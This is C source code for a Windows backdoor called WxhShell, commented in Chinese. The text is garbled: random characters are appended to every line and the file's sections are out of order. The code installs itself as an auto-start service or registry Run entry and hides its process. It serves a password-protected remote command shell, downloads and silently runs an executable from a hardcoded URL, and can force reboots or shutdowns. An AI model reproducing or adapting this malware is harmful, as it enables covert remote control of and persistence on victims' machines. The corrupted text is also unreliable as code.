    ExitThread(0); mthl?,I|  
    } mwH!:f  
    break; t<F]%8S  
    } <0)ud)~u  
  // 获取shell c8tC3CrKp=  
  case 's': { siYRRr  
    CmdShell(wsh); ^!o}>ls['  
    closesocket(wsh); ,$zlw\  
    ExitThread(0); ih |Ky+!  
    break; $'YKB8C  
  } KTjlWxD  
  // 退出 'h>5&=r  
  case 'x': { ) Zo_6%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C_cs(}wi  
    CloseIt(wsh); e~.?:7t  
    break; \K~fRUo]=c  
    } .*-w UBr  
  // 离开 fGf-fh;s  
  case 'q': { s%[GQQ-N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^y0C5Bl;  
    closesocket(wsh); o 7W Kh=  
    WSACleanup(); t tFY _F~S  
    exit(1); U?mf^'RE  
    break; nIQ&gbfO  
        } bro  
  } br;H8-   
  } rp @  
5 k%9>U%$  
  // 提示信息 |4S?>e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M&/aJRBS  
} 1i/::4=  
  } $@_t5?n``F  
+6hl@Fm(  
  return; R G0S  
} guOSO@  
4s~HfxYT  
// shell模块句柄 !3I(4?G,  
int CmdShell(SOCKET sock) /8>0; bX+  
{ o4 %Vt} K  
STARTUPINFO si; Xr,1&"B&t  
ZeroMemory(&si,sizeof(si)); T^zXt?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L^1NY3=$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g@d*\ P)  
PROCESS_INFORMATION ProcessInfo; 9SX +  
char cmdline[]="cmd"; k R?qb6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cn3#R.G~  
  return 0; NDN7[7E  
} d-oMQGOklb  
iDpSj!x/_  
// 自身启动模式 ld[I}88$  
int StartFromService(void) z0 d.J1VW  
{ akmkyrz'&  
typedef struct Na<pwC  
{ j`EXlc~  
  DWORD ExitStatus; Sh/08+@+L:  
  DWORD PebBaseAddress; dn& s*  
  DWORD AffinityMask; [F+}V,  
  DWORD BasePriority; b!+hH Hv:  
  ULONG UniqueProcessId; B`EJb71^Xy  
  ULONG InheritedFromUniqueProcessId; ?al'F  q  
}   PROCESS_BASIC_INFORMATION; zrvF]|1UP  
W~)}xy  
PROCNTQSIP NtQueryInformationProcess; T~-ycVc  
%U/(|wodd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F/ ]2G^-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |NlO7aQ>2H  
_?nL+\'V  
  HANDLE             hProcess; &1Ok`_plO  
  PROCESS_BASIC_INFORMATION pbi; kj Jn2c:y  
pd?M f=>#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !M(xG%M-V  
  if(NULL == hInst ) return 0; d z|or9&  
)705V|v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <|HV. O/!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _T60;ZI+^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;[ZEDF5H  
p:&8sO!m  
  if (!NtQueryInformationProcess) return 0; 7^avpf)>  
"69s) ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I^.Om])  
  if(!hProcess) return 0; U4'#T%*  
jRa43ck  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RbB.q p  
aj='b.2)  
  CloseHandle(hProcess); cZ,b?I"Q%  
x>K Or,f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ov@gh kr  
if(hProcess==NULL) return 0; xo^b&ktQd  
cVv=*81\  
HMODULE hMod; j^*dmX  
char procName[255]; b! t0w{^w  
unsigned long cbNeeded; hgG9m[?K  
=IZT(8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ScOK)nL"  
AYBns]!  
  CloseHandle(hProcess); C[cbbp  
zpn9,,~u  
if(strstr(procName,"services")) return 1; // 以服务启动 ^dWa;m]l  
gjyYCjF  
  return 0; // 注册表启动 e+7"/icK  
} K-)] 1BG  
J3V= 46Yc  
// 主模块 q>_.[+6  
int StartWxhshell(LPSTR lpCmdLine) z _$%-6  
{ ,&A7iO  
  SOCKET wsl; XT%nbh&y  
BOOL val=TRUE; 8 /]S^'>  
  int port=0; N{!i=A  
  struct sockaddr_in door; #lo6c;*m5  
U+jOTq8M  
  if(wscfg.ws_autoins) Install(); Evq IcZ  
#P9~}JB3,  
port=atoi(lpCmdLine); 9.M4o[  
k9R4Y\8P  
if(port<=0) port=wscfg.ws_port; C[AqFo  
.NC!7+1m  
  WSADATA data; q[_Vu A]&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dj?> <@  
HyQJXw?A:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @gEUm_#HTs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |3b^~?S  
  door.sin_family = AF_INET; net@j#}j-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qy<P463A(l  
  door.sin_port = htons(port); sE<V5`Z=  
H2 {+)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FX&~\kmV'j  
closesocket(wsl); F,F4nw<W  
return 1; ;8&3 dm]  
} RLXL&  
+o{R _  
  if(listen(wsl,2) == INVALID_SOCKET) { r +i($ jMs  
closesocket(wsl); ?3,:-"(@p  
return 1; W\,s:6iqz  
} ~W'{p  
  Wxhshell(wsl); (t K||*u  
  WSACleanup(); 6<SAa#@ey  
c|y(2K)o[=  
return 0; Qj.#)R  
t#})Awy^R  
} <?6|.\&  
GW@;}m(  
// 以NT服务方式启动 jXx<`I+]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6 7.+ .2  
{ dr}`H,X"3  
DWORD   status = 0; ]NY~2jmX  
  DWORD   specificError = 0xfffffff; _ QI\  
l`{\"#4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %6,SKg p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Id'-&tYG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Wx}8T[A}  
  serviceStatus.dwWin32ExitCode     = 0; zpZm&WC  
  serviceStatus.dwServiceSpecificExitCode = 0; X*XZb F"=  
  serviceStatus.dwCheckPoint       = 0; ,j{,h_Op  
  serviceStatus.dwWaitHint       = 0; gQg"j)  
K~{$oD7!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X6X $Pve  
  if (hServiceStatusHandle==0) return; :yr+vcD?  
Su7?;Oh/yI  
status = GetLastError(); bKY7/w<dP  
  if (status!=NO_ERROR) L|:`^M+^w  
{ *[Tz![|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7 :xfPx  
    serviceStatus.dwCheckPoint       = 0; n8 i] z  
    serviceStatus.dwWaitHint       = 0; Qf+\;@  
    serviceStatus.dwWin32ExitCode     = status; w^|*m/h|@u  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y'S%O/$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EStB#V^  
    return; Xll}x+'uZK  
  } \BTODZ:h  
b\kdKVh&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?m}s4a  
  serviceStatus.dwCheckPoint       = 0; Q800y??&J  
  serviceStatus.dwWaitHint       = 0; ]"hFC<w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,{u yG:  
} gnOt+W8  
=JEv,ZGT3  
// 处理NT服务事件,比如:启动、停止 ^R7lom.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %KhI>O<  
{ 'Ym9;~(@R  
switch(fdwControl) x7&B$.>3  
{ t7Iv?5]N  
case SERVICE_CONTROL_STOP: !mJ"gg  
  serviceStatus.dwWin32ExitCode = 0; ZF9z~9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O|{d[eX  
  serviceStatus.dwCheckPoint   = 0; rNWw?_H-H(  
  serviceStatus.dwWaitHint     = 0; N1}sHyVq7  
  { |O\s|H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kW Ml  
  } !Y0Vid  
  return; )9{0]u;9  
case SERVICE_CONTROL_PAUSE: #uG%j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I(L,8n5  
  break; f P 1[[3i  
case SERVICE_CONTROL_CONTINUE: [I,Z2G,Jb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eCU:Q  
  break; #4Rx]zW^%  
case SERVICE_CONTROL_INTERROGATE: 7Jyy z,!5  
  break; s^G.]%iU  
}; 3</_c1~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )hn6sXo+  
} HSE!x_$  
*k(XW_>  
// 标准应用程序主函数 dC3o9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,GbR!j@6  
{ `!;_ho  
;40/yl3r3[  
// 获取操作系统版本 {Qf=G|Ah  
OsIsNt=GetOsVer(); Pe_W;q.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GbY7_N  
Y1W1=Uc uk  
  // 从命令行安装 sQHv%]s 0  
  if(strpbrk(lpCmdLine,"iI")) Install(); q.^;!f1  
w>s,"2&5J  
  // 下载执行文件 W fN2bsx>  
if(wscfg.ws_downexe) { b5dD/-Vj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WtsFz*`)y  
  WinExec(wscfg.ws_filenam,SW_HIDE); a8e6H30Sm  
} E!)xj.aS$  
5K1)1E/Fu  
if(!OsIsNt) { ouvA~/5  
// 如果时win9x,隐藏进程并且设置为注册表启动 JQ_sUYh~3  
HideProc(); zOAd~E  
StartWxhshell(lpCmdLine); ~~/|dh5  
} $u6"*|  
else :S{BbQ){]  
  if(StartFromService()) T@H ^BGs  
  // 以服务方式启动 Z!a =dnwHz  
  StartServiceCtrlDispatcher(DispatchTable); $lfn(b,  
else h9&0Z +zs  
  // 普通方式启动 DZ 3wCLQtK  
  StartWxhshell(lpCmdLine); J\} twYty  
)Yh+c=6 ?  
return 0; +5g_KS  
} z3{G9Np  
]Grek<  
T$)^gHS  
>NGj =L<  
=========================================== ;>U2|>5V  
zJKv'>?  
]!W=^!  
"b~+;<}Q  
b"<liGh"n-  
^  glri$m  
" ,1.p%UE]>  
7~G9'P<  
#include <stdio.h> 6IN e@  
#include <string.h> \S `:y?[Y  
#include <windows.h> yM6pd U]i  
#include <winsock2.h> <VMGTBVQ  
#include <winsvc.h> 9d0@wq.  
#include <urlmon.h> D%[mWc@1I  
4@+`q *  
#pragma comment (lib, "Ws2_32.lib") ]\-A;}\e  
#pragma comment (lib, "urlmon.lib") >4x(e\B  
;>%r9pz ~  
#define MAX_USER   100 // 最大客户端连接数 h"B+hu  
#define BUF_SOCK   200 // sock buffer |"q5sym8Y_  
#define KEY_BUFF   255 // 输入 buffer Y,qI@n<  
`z}?"BW|  
#define REBOOT     0   // 重启 YH}'s>xZz  
#define SHUTDOWN   1   // 关机 |MTnH/|  
?> 9/#Nv  
#define DEF_PORT   5000 // 监听端口 zF`0J  
M5 LfRBO  
#define REG_LEN     16   // 注册表键长度 z#9aP&8Q  
#define SVC_LEN     80   // NT服务名长度 MVpGWTH@F  
#H&|*lr  
// 从dll定义API dM.f]-g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  \{_q.;}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~f2z]JLr:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "m):Y;9iQ?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +uF>2b6'  
n1ZbRV  
// wxhshell配置信息 $?iLLA~  
struct WSCFG { H064BM  
  int ws_port;         // 监听端口 caR<Kb:;*  
  char ws_passstr[REG_LEN]; // 口令 HQ_Ok `  
  int ws_autoins;       // 安装标记, 1=yes 0=no XAKs0*J>  
  char ws_regname[REG_LEN]; // 注册表键名 wYXQlxdy  
  char ws_svcname[REG_LEN]; // 服务名 .&iawz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bTNgjc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %bn jgy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IJp-BTO{V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \[i1JG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7vKK%H_P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lN 4oW3QT  
pZ{+c  
}; ij`w} V  
QD&`^(X1p  
// default Wxhshell configuration wo{gG?B  
struct WSCFG wscfg={DEF_PORT, |Pax=oJ\M  
    "xuhuanlingzhe", ,Ks8*;#r  
    1, Lnl(2xD  
    "Wxhshell", CJx|?yK2  
    "Wxhshell", U[-o> W#  
            "WxhShell Service", vzAaxk%  
    "Wrsky Windows CmdShell Service", =U9*'EFr  
    "Please Input Your Password: ", 9!\B6=r y4  
  1, "Qc7dRmSxm  
  "http://www.wrsky.com/wxhshell.exe", yjX9oxhtL  
  "Wxhshell.exe" 3,3N^nSD  
    }; ',@3>T**  
1W LXM^ 4  
// 消息定义模块 7hcYD!DS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 c{34:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 20h, ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zrgk]n;Pq  
char *msg_ws_ext="\n\rExit."; :J@ gmY:C  
char *msg_ws_end="\n\rQuit."; R4cM%l_#W  
char *msg_ws_boot="\n\rReboot..."; ]y '>=a|T  
char *msg_ws_poff="\n\rShutdown..."; w+|L+h3L7  
char *msg_ws_down="\n\rSave to "; %p=M;  
OX!tsARC@  
char *msg_ws_err="\n\rErr!"; UKvWJnz  
char *msg_ws_ok="\n\rOK!"; g-bK|6?yz  
:U%W%  
char ExeFile[MAX_PATH]; $k%2J9O  
int nUser = 0; 'G4ICtHQ  
HANDLE handles[MAX_USER]; _C?hHWSf"  
int OsIsNt; *Kg ks4  
Rtl"Ub@HV  
SERVICE_STATUS       serviceStatus; ]neex|3lG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *)T^Ch D,  
HCs?iJ  
// 函数声明 a~}OZ&PG  
int Install(void); l<LI7Z]A  
int Uninstall(void); d.d/<  
int DownloadFile(char *sURL, SOCKET wsh); ,/F~ Y&1I  
int Boot(int flag); IueFx u  
void HideProc(void); [EXs  
int GetOsVer(void); "(~^w=d:$  
int Wxhshell(SOCKET wsl); ]MitOkX  
void TalkWithClient(void *cs); EgCAsSx(  
int CmdShell(SOCKET sock); 6Y?|w3f   
int StartFromService(void); X *"i6 *  
int StartWxhshell(LPSTR lpCmdLine); 7*A],:-q  
{@{']Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qiBVG H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7WS p($  
k)=s>&hl  
// 数据结构和表定义 051 E6-  
SERVICE_TABLE_ENTRY DispatchTable[] = )' cMYC  
{ @:vwb\azVD  
{wscfg.ws_svcname, NTServiceMain}, L^?qOylu  
{NULL, NULL} xdt- ;w|  
}; :J&oX <nF^  
vr6w^&[c^  
// 自我安装 3~ {:`[0Q  
int Install(void) >@_^fw)  
{ Fq<A  
  char svExeFile[MAX_PATH]; D'Df JwA  
  HKEY key; KRRdXx\~  
  strcpy(svExeFile,ExeFile); 0=1T.4+=  
2uW; xfeY  
// 如果是win9x系统,修改注册表设为自启动 3;A)W18]  
if(!OsIsNt) { `dN@u@[\ks  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y??XIsF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); })Vi  
  RegCloseKey(key); ;dgp+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E]-/Zbvdv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qe:seW  
  RegCloseKey(key); bK&+5t&  
  return 0; y_-0tI\J  
    } ;[OH(!  
  } MAPGJ"?  
} `b7t4d*  
else { +iRh  
. 3T3E X|G  
// 如果是NT以上系统,安装为系统服务 Lk}J8 V^2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +',S]Edx  
if (schSCManager!=0) Dp-z[]})1  
{ K1yzD6[eW  
  SC_HANDLE schService = CreateService TKmf+ZT*r  
  ( 'I6i ,+D/q  
  schSCManager, 1\2no{Vh  
  wscfg.ws_svcname, w_K1]<Q*  
  wscfg.ws_svcdisp, >!1-lfa8  
  SERVICE_ALL_ACCESS, i$ 6ypuc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Txb#C[`  
  SERVICE_AUTO_START, p6!x=cW  
  SERVICE_ERROR_NORMAL, U8n V[  
  svExeFile, f(y:G^V  
  NULL, ;"-&1qHN  
  NULL, $5%SNzzl  
  NULL,  S9FE  
  NULL, Y O}<Ytx  
  NULL @Qt{jI !  
  ); tW}'g:s  
  if (schService!=0) MeZf*' J  
  { P8/0H(,  
  CloseServiceHandle(schService); z[qDkL  
  CloseServiceHandle(schSCManager); Yufc{M00  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a~y'RyA  
  strcat(svExeFile,wscfg.ws_svcname); ^WWQI+pk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TJXT-\Vk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U-tTW*[1]  
  RegCloseKey(key); 5vnrA'BhBU  
  return 0; v_GUNRs  
    } R%[ c;i  
  } {9.|2%a  
  CloseServiceHandle(schSCManager); {V CWn95Z  
} R.<g3"Lm>  
} '!B&:X)  
+ami?#Sz*;  
return 1; U|R_OLWAg  
} KF:78C  
|M;7>'YNC*  
// 自我卸载 s6`?LZ0(z  
int Uninstall(void) +9sQZB# (  
{ H3-hcx54T  
  HKEY key; mj7#&r,1l  
:?1Dko^  
if(!OsIsNt) { 5wU]!bxr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1EX;MW-p<T  
  RegDeleteValue(key,wscfg.ws_regname); ('+d.F[109  
  RegCloseKey(key); >uEzw4w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R[]Mdt<  
  RegDeleteValue(key,wscfg.ws_regname); )MT}+ai  
  RegCloseKey(key); `r 4fm`<  
  return 0; Q\sK"~@3  
  } Y"$xX8o  
} =~LJ3sIX  
} S~G ]~gt  
else { 9 QJyZ  
o}p n0KO,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V0a3<6@4  
if (schSCManager!=0) :NTO03F7v  
{ C\hM =%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FW DNpr  
  if (schService!=0) -MBxl`JU  
  { 6j|{`Zd)G  
  if(DeleteService(schService)!=0) { @BMx!r5kn  
  CloseServiceHandle(schService); ?:eV%`7  
  CloseServiceHandle(schSCManager); HTTC TR  
  return 0; VuZr:-K/  
  } NDokSw-  
  CloseServiceHandle(schService); buHJB*?9  
  } M X]n&  
  CloseServiceHandle(schSCManager); 8zq=N#x  
} $<[79al#  
} )D%~` ,#pQ  
[dVL&k<P  
return 1; uCB=u[]y4  
} >^{yF~(  
 e]$s t?  
// 从指定url下载文件 f* wx<  
int DownloadFile(char *sURL, SOCKET wsh) dlnX_+((KC  
{ ML p9y#  
  HRESULT hr; llDkJ)\  
char seps[]= "/"; M869MDo  
char *token; w&.a QGR#  
char *file; oxtay7fx  
char myURL[MAX_PATH]; 0b 54fD=  
char myFILE[MAX_PATH]; An0GPhC  
)QJUUn#  
strcpy(myURL,sURL); HjwE+:w  
  token=strtok(myURL,seps); K:WDl;8 (d  
  while(token!=NULL) tO&^>&;5  
  { X5w$4Kj&4l  
    file=token; 2B`JGFcdcB  
  token=strtok(NULL,seps); e+=K d+:k  
  } !bP@n  
z{r}~{{E  
GetCurrentDirectory(MAX_PATH,myFILE); bW:!5"_{H  
strcat(myFILE, "\\"); y<.5xq5_3  
strcat(myFILE, file); 5~S5F3  
  send(wsh,myFILE,strlen(myFILE),0); u$`a7Lp,n  
send(wsh,"...",3,0); #s9aI_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x|29L7i  
  if(hr==S_OK) e~(5%CO>#j  
return 0; onV>.7sG  
else 4b`=>X;W  
return 1; Y\hBd$lQ~  
,]/X\t5]D  
} [KQ6Ta.  
oD@7 SF  
// 系统电源模块 P+HXn8@  
int Boot(int flag) *n"{J(Jt`  
{ bQ5\ ]5M  
  HANDLE hToken; m) D|l1AtF  
  TOKEN_PRIVILEGES tkp; {7pli{`  
9Gz=lc[!7  
  if(OsIsNt) { HLi%%"'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t ZB<on<.)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uvS)8-o&F  
    tkp.PrivilegeCount = 1; xe$_aBU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n._-! WI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -D~%|).'  
if(flag==REBOOT) { M"To&?OI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SZCze"`[  
  return 0; |sZHUf_  
} f`66h M[  
else { ;xn0;V'=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mXs; b 2r^  
  return 0; ;]:@n;c\  
} m~ee/&T  
  } ygl0k \  
  else { , 9 a  
if(flag==REBOOT) { |(^PS8wG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I1&aM}y{G  
  return 0; % %UE+u @J  
} q- d:TMkc  
else { %e} Saf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sW8dPw O  
  return 0; vY`s'%WV  
} T^]}Oy@e,J  
} Eu04e N  
he hFEyx  
return 1; {H'Y `+  
} KJZ4AWH`  
ENY+^7  
// win9x进程隐藏模块  #:%/(j  
void HideProc(void) @pU)_d!pJ  
{ koi^l`B$  
Wo=jskBrQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "kqPmeI  
  if ( hKernel != NULL ) Aq7osU1B  
  { "g8M0[7e3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '1/i"yoW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NQ2E  
    FreeLibrary(hKernel); Pk)1WK7E  
  } DM>eVS3}  
P7/X|M z  
return; r]36z X v  
} UW EV^ &"x  
hY8reQp1  
// 获取操作系统版本 wq`Bd  
int GetOsVer(void) V3j= Kf  
{ _:27]K:  
  OSVERSIONINFO winfo; {Y9q[D'g.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L*JjG sTH  
  GetVersionEx(&winfo); :9 ^* ^T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cYt!n5w~W  
  return 1; N]sAji*  
  else 12LL48bi  
  return 0; A^<iL  
} HHsmLo c4  
M =r)I~  
// 客户端句柄模块 #;nYg?d=  
int Wxhshell(SOCKET wsl) ZJs$STJ*  
{ c0u^zH<  
  SOCKET wsh; E?0%Z&1h  
  struct sockaddr_in client; wAW5 Z0D  
  DWORD myID; 'b{]:Y  
K(Bf2Mfq  
  while(nUser<MAX_USER) w+CA1q<  
{ W6/yn  
  int nSize=sizeof(client); pIX`MlBdF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ciz X<Cr}  
  if(wsh==INVALID_SOCKET) return 1; Npy :!  
N//K Ph  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9zy!Fq  
if(handles[nUser]==0) u:_,GQ )\  
  closesocket(wsh); .OY`Z)SS%  
else 9mTJ|sN:e  
  nUser++; Y`S vMkP)+  
  } :G%61x&=Zc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @2 fg~2M1  
*CI#+P  
  return 0; ;@|n @ax  
} cH t#us  
I4i>+:_J  
// 关闭 socket DN57p!z  
void CloseIt(SOCKET wsh) ^,T(mKS  
{ @i IRmQ  
closesocket(wsh); ?+}_1x`  
nUser--; XuM'_FN`A<  
ExitThread(0); J{fH ['tzO  
} 6G""I]uT  
4u})+2W  
// 客户端请求句柄 _^%,x  
void TalkWithClient(void *cs) J]pir4&j  
{ -4{<=y?"a  
n[Y~]  
  SOCKET wsh=(SOCKET)cs; m`^q <sj  
  char pwd[SVC_LEN]; *mvlb (' &  
  char cmd[KEY_BUFF]; $C$V%5aA  
char chr[1]; K^<BW(s  
int i,j; hy"\RW  
aE$[5 2  
  while (nUser < MAX_USER) { PP33i@G  
.;`AAH'k  
if(wscfg.ws_passstr) { jLHkOk5{:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XYOC_.f1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Sw, +p  
  //ZeroMemory(pwd,KEY_BUFF); ud@%5d  
      i=0; #( 146  
  while(i<SVC_LEN) { Zw S F^  
mLLDE;7|}  
  // 设置超时 p}pjfG  
  fd_set FdRead; v\%HPMlh  
  struct timeval TimeOut; -3Z,EaG^  
  FD_ZERO(&FdRead); Vd+T$uC  
  FD_SET(wsh,&FdRead); 4*cEag   
  TimeOut.tv_sec=8; 6H WE~`ok6  
  TimeOut.tv_usec=0; h_,i&d@(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X[BIA+6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LG|fq/;  
jZkcBIK2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?ri?GmI|  
  pwd=chr[0]; 2E)-M9ds  
  if(chr[0]==0xd || chr[0]==0xa) { 6Vnsi%{  
  pwd=0; paE[rS\  
  break; ~1AgD-:Jz  
  } qv KG-|j  
  i++; ` *N[jm"  
    } o&)8o5  
&>W$6>@  
  // 如果是非法用户,关闭 socket ;) z:fToh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +`3)oPV)  
} Gd xnpE  
S3*`jF>q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s.QwSbw-g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +RMSA^  
jB Z&Ad@e  
while(1) { }9#r0Vja  
&4x}ppX  
  ZeroMemory(cmd,KEY_BUFF); BWv^ zi  
li'YDtMKCY  
      // 自动支持客户端 telnet标准   yT"Eq"7/Y#  
  j=0; c&?m>2^6  
  while(j<KEY_BUFF) { qJa H ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *-=(Q`3  
  cmd[j]=chr[0]; Ls$D$/:q?  
  if(chr[0]==0xa || chr[0]==0xd) { l \!fj#  
  cmd[j]=0; /h H  
  break; I7vz+>Jr  
  } t?-n*9,#S  
  j++; =9boya,>  
    } 0$)>D==  
bz2ztH9 n  
  // 下载文件 ~Z?TFg  
  if(strstr(cmd,"http://")) { t~EPn.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b_#m}yZ6  
  if(DownloadFile(cmd,wsh)) p;59?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%CF8\0  
  else FxtQXu-g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :bu/^mW[  
  } l|~A#kq  
  else { g1/[eoZzk  
n.`($yR_  
    switch(cmd[0]) { 7$vYo _  
  ?qLFaFt/  
  // 帮助 uk< 4+x,2)  
  case '?': { F3v !AvA|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 85|OGtt  
